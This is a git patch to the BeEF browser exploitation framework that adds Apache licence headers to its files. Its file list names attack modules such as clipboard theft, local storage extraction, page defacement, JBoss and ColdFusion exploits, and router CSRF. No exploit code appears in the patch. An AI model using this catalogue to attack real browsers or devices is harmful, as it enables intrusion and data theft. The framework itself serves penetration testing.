From 5c3e6f1575cce6d68026610d20ce8c7b52e20d95 Mon Sep 17 00:00:00 2001 From: "scotty.b.brown@gmail.com" Date: Sat, 2 Jul 2011 23:08:28 +0000 Subject: [PATCH] Adding Apache Licence Header to all files (except VERSION file) git-svn-id: https://beef.googlecode.com/svn/trunk@1046 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- README | 15 +++++++++++++++ VERSION | 2 +- beef | 17 +++++++++++++++++ config.yaml | 15 +++++++++++++++ core/api.rb | 15 +++++++++++++++ core/api/command.rb | 15 +++++++++++++++ core/api/extension.rb | 15 +++++++++++++++ core/api/migration.rb | 15 +++++++++++++++ core/api/server/handler.rb | 15 +++++++++++++++ core/api/server/hook.rb | 15 +++++++++++++++ core/core.rb | 15 +++++++++++++++ core/extension.rb | 15 +++++++++++++++ core/extensions.rb | 15 +++++++++++++++ core/filters.rb | 15 +++++++++++++++ core/filters/base.rb | 15 +++++++++++++++ core/filters/browser.rb | 15 +++++++++++++++ core/filters/command.rb | 15 +++++++++++++++ core/filters/http.rb | 15 +++++++++++++++ core/filters/page.rb | 15 +++++++++++++++ core/loader.rb | 15 +++++++++++++++ core/main/client/beef.js | 15 +++++++++++++++ core/main/client/browser.js | 15 +++++++++++++++ core/main/client/browser/cookie.js | 15 +++++++++++++++ core/main/client/dom.js | 15 +++++++++++++++ core/main/client/encode/base64.js | 15 +++++++++++++++ core/main/client/encode/json.js | 15 +++++++++++++++ core/main/client/geolocation.js | 15 +++++++++++++++ core/main/client/init.js | 15 +++++++++++++++ core/main/client/lib/evercookie.js | 15 +++++++++++++++ core/main/client/lib/jquery-1.5.2.min.js | 15 +++++++++++++++ core/main/client/logger.js | 15 +++++++++++++++ core/main/client/net.js | 15 +++++++++++++++ core/main/client/net/local.js | 15 +++++++++++++++ core/main/client/net/portscanner.js | 15 +++++++++++++++ core/main/client/net/requester.js | 15 +++++++++++++++ core/main/client/os.js | 15 +++++++++++++++ core/main/client/session.js | 15 +++++++++++++++ core/main/client/updater.js | 15 +++++++++++++++ core/main/command.rb | 15 +++++++++++++++ core/main/configuration.rb | 15 +++++++++++++++ core/main/constants/browsers.rb | 15 +++++++++++++++ core/main/constants/commandmodule.rb | 15 +++++++++++++++ core/main/constants/distributedengine.rb | 15 +++++++++++++++ core/main/constants/os.rb | 15 +++++++++++++++ core/main/crypto.rb | 15 +++++++++++++++ core/main/distributed_engine/models/rules.rb | 15 +++++++++++++++ core/main/handlers/commands.rb | 15 +++++++++++++++ core/main/handlers/hookedbrowsers.rb | 15 +++++++++++++++ core/main/handlers/modules/beefjs.rb | 15 +++++++++++++++ core/main/handlers/modules/command.rb | 15 +++++++++++++++ core/main/logger.rb | 15 +++++++++++++++ core/main/migration.rb | 15 +++++++++++++++ core/main/models/command.rb | 15 +++++++++++++++ core/main/models/commandmodule.rb | 15 +++++++++++++++ core/main/models/dynamiccommandinfo.rb | 15 +++++++++++++++ core/main/models/dynamicpayloadinfo.rb | 15 +++++++++++++++ core/main/models/dynamicpayloads.rb | 15 +++++++++++++++ core/main/models/hookedbrowser.rb | 15 +++++++++++++++ core/main/models/log.rb | 15 +++++++++++++++ core/main/models/optioncache.rb | 15 +++++++++++++++ core/main/models/result.rb | 15 +++++++++++++++ core/main/models/user.rb | 15 +++++++++++++++ core/main/network_stack/api.rb | 15 +++++++++++++++ core/main/network_stack/assethandler.rb | 15 +++++++++++++++ .../handlers/dynamicreconstruction.rb | 15 +++++++++++++++ core/main/server.rb | 15 +++++++++++++++ core/module.rb | 15 +++++++++++++++ core/modules.rb | 15 +++++++++++++++ core/ruby.rb | 15 +++++++++++++++ core/ruby/hash.rb | 15 +++++++++++++++ core/ruby/module.rb | 15 +++++++++++++++ core/ruby/object.rb | 15 +++++++++++++++ core/ruby/patches/webrick/cookie.rb | 15 +++++++++++++++ core/ruby/patches/webrick/genericserver.rb | 15 +++++++++++++++ core/ruby/patches/webrick/httprequest.rb | 15 +++++++++++++++ core/ruby/patches/webrick/httpresponse.rb | 15 +++++++++++++++ .../patches/webrick/httpservlet/filehandler.rb | 15 +++++++++++++++ core/ruby/print.rb | 15 +++++++++++++++ core/ruby/string.rb | 15 +++++++++++++++ core/settings.rb | 15 +++++++++++++++ extensions/admin_ui/api/command.rb | 15 +++++++++++++++ extensions/admin_ui/api/handler.rb | 15 +++++++++++++++ extensions/admin_ui/classes/httpcontroller.rb | 15 +++++++++++++++ extensions/admin_ui/classes/session.rb | 15 +++++++++++++++ extensions/admin_ui/config.yaml | 15 +++++++++++++++ extensions/admin_ui/constants/agents.rb | 15 +++++++++++++++ extensions/admin_ui/constants/icons.rb | 15 +++++++++++++++ .../authentication/authentication.rb | 15 +++++++++++++++ extensions/admin_ui/controllers/logs/logs.rb | 15 +++++++++++++++ .../admin_ui/controllers/modules/modules.rb | 15 +++++++++++++++ extensions/admin_ui/controllers/panel/panel.rb | 15 +++++++++++++++ extensions/admin_ui/controllers/proxy/proxy.rb | 15 +++++++++++++++ .../admin_ui/controllers/requester/requester.rb | 15 +++++++++++++++ extensions/admin_ui/extension.rb | 15 +++++++++++++++ extensions/admin_ui/handlers/media.rb | 15 +++++++++++++++ extensions/admin_ui/handlers/ui.rb | 15 +++++++++++++++ extensions/admin_ui/media/css/base.css | 15 +++++++++++++++ extensions/admin_ui/media/css/ext-all.css | 15 +++++++++++++++ .../admin_ui/media/javascript/ext-all-debug.js | 15 +++++++++++++++ extensions/admin_ui/media/javascript/ext-all.js | 15 +++++++++++++++ .../admin_ui/media/javascript/ext-base.js | 15 +++++++++++++++ .../admin_ui/media/javascript/ext-beef.js | 15 +++++++++++++++ .../media/javascript/ui/authentication.js | 15 +++++++++++++++ .../media/javascript/ui/panel/DataGrid.js | 15 +++++++++++++++ .../javascript/ui/panel/DistributedEngine.js | 15 +++++++++++++++ .../media/javascript/ui/panel/Logout.js | 15 +++++++++++++++ .../media/javascript/ui/panel/MainPanel.js | 15 +++++++++++++++ .../media/javascript/ui/panel/PanelStatusBar.js | 15 +++++++++++++++ .../media/javascript/ui/panel/PanelViewer.js | 15 +++++++++++++++ .../media/javascript/ui/panel/WelcomeTab.js | 15 +++++++++++++++ .../media/javascript/ui/panel/ZombieTab.js | 15 +++++++++++++++ .../media/javascript/ui/panel/ZombieTabs.js | 15 +++++++++++++++ .../media/javascript/ui/panel/ZombiesMgr.js | 15 +++++++++++++++ .../media/javascript/ui/panel/common.js | 15 +++++++++++++++ .../ui/panel/tabs/ZombieTabCommands.js | 15 +++++++++++++++ .../ui/panel/tabs/ZombieTabDetails.js | 15 +++++++++++++++ .../javascript/ui/panel/tabs/ZombieTabLogs.js | 15 +++++++++++++++ .../ui/panel/tabs/ZombieTabRequester.js | 15 +++++++++++++++ .../javascript/ui/panel/zombiesTreeList.js | 15 +++++++++++++++ .../admin_ui/media/javascript/ux/PagingStore.js | 15 +++++++++++++++ .../admin_ui/media/javascript/ux/StatusBar.js | 15 +++++++++++++++ .../media/javascript/ux/TabCloseMenu.js | 15 +++++++++++++++ extensions/autoloader/config.yaml | 15 +++++++++++++++ extensions/autoloader/extension.rb | 15 +++++++++++++++ extensions/autoloader/model.rb | 15 +++++++++++++++ extensions/console/banners.rb | 15 +++++++++++++++ extensions/console/commandline.rb | 15 +++++++++++++++ extensions/console/config.yaml | 15 +++++++++++++++ extensions/console/extension.rb | 15 +++++++++++++++ extensions/demos/api.rb | 15 +++++++++++++++ extensions/demos/config.yaml | 15 +++++++++++++++ extensions/demos/extension.rb | 15 +++++++++++++++ extensions/demos/html/butcher/butch.css | 15 +++++++++++++++ extensions/demos/html/butcher/jquery-1.5.min.js | 15 +++++++++++++++ extensions/events/api.rb | 15 +++++++++++++++ extensions/events/config.yaml | 15 +++++++++++++++ extensions/events/extension.rb | 15 +++++++++++++++ extensions/events/handler.rb | 15 +++++++++++++++ extensions/initialization/api.rb | 15 +++++++++++++++ extensions/initialization/config.yaml | 15 +++++++++++++++ extensions/initialization/extension.rb | 15 +++++++++++++++ extensions/initialization/handler.rb | 15 +++++++++++++++ .../initialization/models/browserdetails.rb | 15 +++++++++++++++ extensions/metasploit/config.yaml | 15 +++++++++++++++ extensions/metasploit/dbmigration.rb | 15 +++++++++++++++ extensions/metasploit/extension.rb | 15 +++++++++++++++ extensions/metasploit/filters.rb | 15 +++++++++++++++ extensions/metasploit/msfcommand.rb | 15 +++++++++++++++ extensions/metasploit/rpcclient.rb | 15 +++++++++++++++ extensions/proxy/api.rb | 15 +++++++++++++++ extensions/proxy/base.rb | 15 +++++++++++++++ extensions/proxy/config.yaml | 15 +++++++++++++++ extensions/proxy/extension.rb | 15 +++++++++++++++ extensions/proxy/handlers/zombie/handler.rb | 15 +++++++++++++++ extensions/proxy/zombie.rb | 15 +++++++++++++++ extensions/requester/api.rb | 15 +++++++++++++++ extensions/requester/api/hook.rb | 15 +++++++++++++++ extensions/requester/extension.rb | 15 +++++++++++++++ extensions/requester/filters.rb | 15 +++++++++++++++ extensions/requester/handler.rb | 15 +++++++++++++++ extensions/requester/models/http.rb | 15 +++++++++++++++ install | 17 +++++++++++++++++ modules/browser/detect_details/command.js | 15 +++++++++++++++ modules/browser/detect_details/config.yaml | 15 +++++++++++++++ modules/browser/detect_details/module.rb | 15 +++++++++++++++ modules/browser/detect_plugins/command.js | 15 +++++++++++++++ modules/browser/detect_plugins/config.yaml | 15 +++++++++++++++ modules/browser/detect_plugins/module.rb | 15 +++++++++++++++ .../browser/detect_screen_details/command.js | 15 +++++++++++++++ .../browser/detect_screen_details/config.yaml | 15 +++++++++++++++ modules/browser/detect_screen_details/module.rb | 15 +++++++++++++++ .../browser/detect_scripts_support/command.js | 15 +++++++++++++++ .../browser/detect_scripts_support/config.yaml | 15 +++++++++++++++ .../browser/detect_scripts_support/module.rb | 15 +++++++++++++++ modules/browser/detect_visited_urls/command.js | 15 +++++++++++++++ modules/browser/detect_visited_urls/config.yaml | 15 +++++++++++++++ modules/browser/detect_visited_urls/module.rb | 15 +++++++++++++++ modules/browser/link_rewrite/command.js | 15 +++++++++++++++ modules/browser/link_rewrite/config.yaml | 15 +++++++++++++++ modules/browser/link_rewrite/module.rb | 15 +++++++++++++++ modules/browser/site_redirect/command.js | 15 +++++++++++++++ modules/browser/site_redirect/config.yaml | 15 +++++++++++++++ modules/browser/site_redirect/module.rb | 15 +++++++++++++++ modules/browser/site_redirect_iframe/command.js | 15 +++++++++++++++ .../browser/site_redirect_iframe/config.yaml | 15 +++++++++++++++ modules/browser/site_redirect_iframe/module.rb | 15 +++++++++++++++ .../debug/test_return_ascii_chars/command.js | 15 +++++++++++++++ .../debug/test_return_ascii_chars/config.yaml | 15 +++++++++++++++ modules/debug/test_return_ascii_chars/module.rb | 15 +++++++++++++++ .../debug/test_return_long_string/command.js | 15 +++++++++++++++ .../debug/test_return_long_string/config.yaml | 15 +++++++++++++++ modules/debug/test_return_long_string/module.rb | 15 +++++++++++++++ modules/host/insecure_url_skype/command.js | 15 +++++++++++++++ modules/host/insecure_url_skype/config.yaml | 15 +++++++++++++++ modules/host/insecure_url_skype/module.rb | 15 +++++++++++++++ modules/host/iphone_tel/command.js | 15 +++++++++++++++ modules/host/iphone_tel/config.yaml | 15 +++++++++++++++ modules/host/iphone_tel/module.rb | 15 +++++++++++++++ modules/host/physical_location/command.js | 15 +++++++++++++++ modules/host/physical_location/config.yaml | 15 +++++++++++++++ modules/host/physical_location/module.rb | 15 +++++++++++++++ modules/metasploit/browser_autopwn/command.js | 15 +++++++++++++++ modules/metasploit/browser_autopwn/config.yaml | 15 +++++++++++++++ modules/metasploit/browser_autopwn/module.rb | 15 +++++++++++++++ modules/misc/alert_dialog/command.js | 15 +++++++++++++++ modules/misc/alert_dialog/config.yaml | 15 +++++++++++++++ modules/misc/alert_dialog/module.rb | 15 +++++++++++++++ modules/misc/clipboard_theft/command.js | 15 +++++++++++++++ modules/misc/clipboard_theft/config.yaml | 15 +++++++++++++++ modules/misc/clipboard_theft/module.rb | 15 +++++++++++++++ modules/misc/deface_web_page/command.js | 15 +++++++++++++++ modules/misc/deface_web_page/config.yaml | 15 +++++++++++++++ modules/misc/deface_web_page/module.rb | 15 +++++++++++++++ modules/misc/extract_local_storage/command.js | 15 +++++++++++++++ modules/misc/extract_local_storage/config.yaml | 15 +++++++++++++++ modules/misc/extract_local_storage/module.rb | 15 +++++++++++++++ modules/misc/prompt_dialog/command.js | 15 +++++++++++++++ modules/misc/prompt_dialog/config.yaml | 15 +++++++++++++++ modules/misc/prompt_dialog/module.rb | 15 +++++++++++++++ modules/misc/raw_javascript/command.js | 15 +++++++++++++++ modules/misc/raw_javascript/config.yaml | 15 +++++++++++++++ modules/misc/raw_javascript/module.rb | 15 +++++++++++++++ modules/misc/replace_video/command.js | 15 +++++++++++++++ modules/misc/replace_video/config.yaml | 15 +++++++++++++++ modules/misc/replace_video/module.rb | 15 +++++++++++++++ modules/misc/rickroll/command.js | 15 +++++++++++++++ modules/misc/rickroll/config.yaml | 15 +++++++++++++++ modules/misc/rickroll/module.rb | 15 +++++++++++++++ .../coldfusion_dir_traversal_exploit/command.js | 15 +++++++++++++++ .../config.yaml | 15 +++++++++++++++ .../coldfusion_dir_traversal_exploit/module.rb | 15 +++++++++++++++ .../network/detect_local_settings/command.js | 15 +++++++++++++++ .../network/detect_local_settings/config.yaml | 15 +++++++++++++++ modules/network/detect_local_settings/module.rb | 15 +++++++++++++++ modules/network/inter-protocol/config.yaml | 15 +++++++++++++++ .../network/jboss_jmx_upload_exploit/command.js | 15 +++++++++++++++ .../jboss_jmx_upload_exploit/config.yaml | 15 +++++++++++++++ .../network/jboss_jmx_upload_exploit/module.rb | 15 +++++++++++++++ modules/network/linksys_befsr41_csrf/command.js | 15 +++++++++++++++ .../network/linksys_befsr41_csrf/config.yaml | 15 +++++++++++++++ modules/network/linksys_befsr41_csrf/module.rb | 15 +++++++++++++++ modules/network/linksys_wrt54g2_csrf/command.js | 15 +++++++++++++++ .../network/linksys_wrt54g2_csrf/config.yaml | 15 +++++++++++++++ modules/network/linksys_wrt54g2_csrf/module.rb | 15 +++++++++++++++ modules/network/linksys_wrt54g_csrf/command.js | 15 +++++++++++++++ modules/network/linksys_wrt54g_csrf/config.yaml | 15 +++++++++++++++ modules/network/linksys_wrt54g_csrf/module.rb | 15 +++++++++++++++ .../vtiger_crm_upload_exploit/command.js | 15 +++++++++++++++ .../vtiger_crm_upload_exploit/config.yaml | 15 +++++++++++++++ .../network/vtiger_crm_upload_exploit/module.rb | 15 +++++++++++++++ modules/persistence/iframe_above/command.js | 15 +++++++++++++++ modules/persistence/iframe_above/config.yaml | 15 +++++++++++++++ modules/persistence/iframe_above/module.rb | 15 +++++++++++++++ modules/persistence/popunder_window/command.js | 15 +++++++++++++++ modules/persistence/popunder_window/config.yaml | 15 +++++++++++++++ modules/persistence/popunder_window/module.rb | 15 +++++++++++++++ modules/recon/collect_links/command.js | 15 +++++++++++++++ modules/recon/collect_links/config.yaml | 15 +++++++++++++++ modules/recon/collect_links/module.rb | 15 +++++++++++++++ modules/recon/detect_cookies_support/command.js | 15 +++++++++++++++ .../recon/detect_cookies_support/config.yaml | 15 +++++++++++++++ modules/recon/detect_cookies_support/module.rb | 15 +++++++++++++++ modules/recon/detect_soc_nets/command.js | 15 +++++++++++++++ modules/recon/detect_soc_nets/config.yaml | 15 +++++++++++++++ modules/recon/detect_soc_nets/module.rb | 15 +++++++++++++++ modules/recon/detect_tor/command.js | 15 +++++++++++++++ modules/recon/detect_tor/config.yaml | 15 +++++++++++++++ modules/recon/detect_tor/module.rb | 15 +++++++++++++++ .../internal_network_fingerprinting/command.js | 15 +++++++++++++++ .../internal_network_fingerprinting/config.yaml | 15 +++++++++++++++ .../internal_network_fingerprinting/module.rb | 15 +++++++++++++++ 271 files changed, 4055 insertions(+), 1 deletion(-) diff --git a/README b/README index 7d1648a26..155feb5b8 100644 --- a/README +++ b/README @@ -1,3 +1,18 @@ + + Copyright 2011 Wade Alcorn wade@bindshell.net + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here. ============================================= diff --git a/VERSION b/VERSION index ecb9a36fd..7acb2cecc 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.4.2.4-alpha +0.4.2.4-alpha \ No newline at end of file diff --git a/beef b/beef index 9ef1805d2..25f2510cd 100755 --- a/beef +++ b/beef @@ -1,4 +1,21 @@ #!/usr/bin/env ruby + +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + $:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.')) $root_dir = File.expand_path('..', __FILE__) diff --git a/config.yaml b/config.yaml index 3d8bbd280..89597d07e 100644 --- a/config.yaml +++ b/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# # BeEF Configuration file beef: version: '0.4.2.7-alpha' diff --git a/core/api.rb b/core/api.rb index 44d6202ec..4dee7d32b 100644 --- a/core/api.rb +++ b/core/api.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# =begin diff --git a/core/api/command.rb b/core/api/command.rb index c99e43bbc..32ddb1316 100644 --- a/core/api/command.rb +++ b/core/api/command.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module API # diff --git a/core/api/extension.rb b/core/api/extension.rb index 9cebfa3c7..2b65ea08d 100644 --- a/core/api/extension.rb +++ b/core/api/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module API # diff --git a/core/api/migration.rb b/core/api/migration.rb index 239329cdf..68536bb91 100644 --- a/core/api/migration.rb +++ b/core/api/migration.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module API # diff --git a/core/api/server/handler.rb b/core/api/server/handler.rb index d86fd98ec..13331be4f 100644 --- a/core/api/server/handler.rb +++ b/core/api/server/handler.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module API module Server diff --git a/core/api/server/hook.rb b/core/api/server/hook.rb index 88122cb02..dc5c04a93 100644 --- a/core/api/server/hook.rb +++ b/core/api/server/hook.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module API module Server diff --git a/core/core.rb b/core/core.rb index bdff31248..191ff526c 100644 --- a/core/core.rb +++ b/core/core.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# =begin This is the core of the framework. Be very careful when touching anything in there. diff --git a/core/extension.rb b/core/extension.rb index e0cdabee4..a263fbd2f 100644 --- a/core/extension.rb +++ b/core/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension diff --git a/core/extensions.rb b/core/extensions.rb index d8d2431c2..d4a4fd2a0 100644 --- a/core/extensions.rb +++ b/core/extensions.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extensions diff --git a/core/filters.rb b/core/filters.rb index d677c227a..a5ce8f13f 100644 --- a/core/filters.rb +++ b/core/filters.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Filters diff --git a/core/filters/base.rb b/core/filters/base.rb index e49582ae2..ffc899f07 100644 --- a/core/filters/base.rb +++ b/core/filters/base.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Filters diff --git a/core/filters/browser.rb b/core/filters/browser.rb index 06b6c51fa..95b6cc18a 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Filters diff --git a/core/filters/command.rb b/core/filters/command.rb index 2bfb39981..e6be33d07 100644 --- a/core/filters/command.rb +++ b/core/filters/command.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Filters diff --git a/core/filters/http.rb b/core/filters/http.rb index fc4c2fb30..548097109 100644 --- a/core/filters/http.rb +++ b/core/filters/http.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Filters diff --git a/core/filters/page.rb b/core/filters/page.rb index 6a9e7f51b..3db2462c2 100644 --- a/core/filters/page.rb +++ b/core/filters/page.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Filters diff --git a/core/loader.rb b/core/loader.rb index 50b62403f..86d7926ae 100644 --- a/core/loader.rb +++ b/core/loader.rb @@ -1,4 +1,19 @@ # +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# # Include here all the gems we are using # require 'rubygems' diff --git a/core/main/client/beef.js b/core/main/client/beef.js index c0e2d8ddd..f03954f7b 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * BeEF JS Library <%= @beef_version %> * http://beef.googlecode.com/ diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 34700c8df..597a6ec16 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /** * @literal object: beef.browser * diff --git 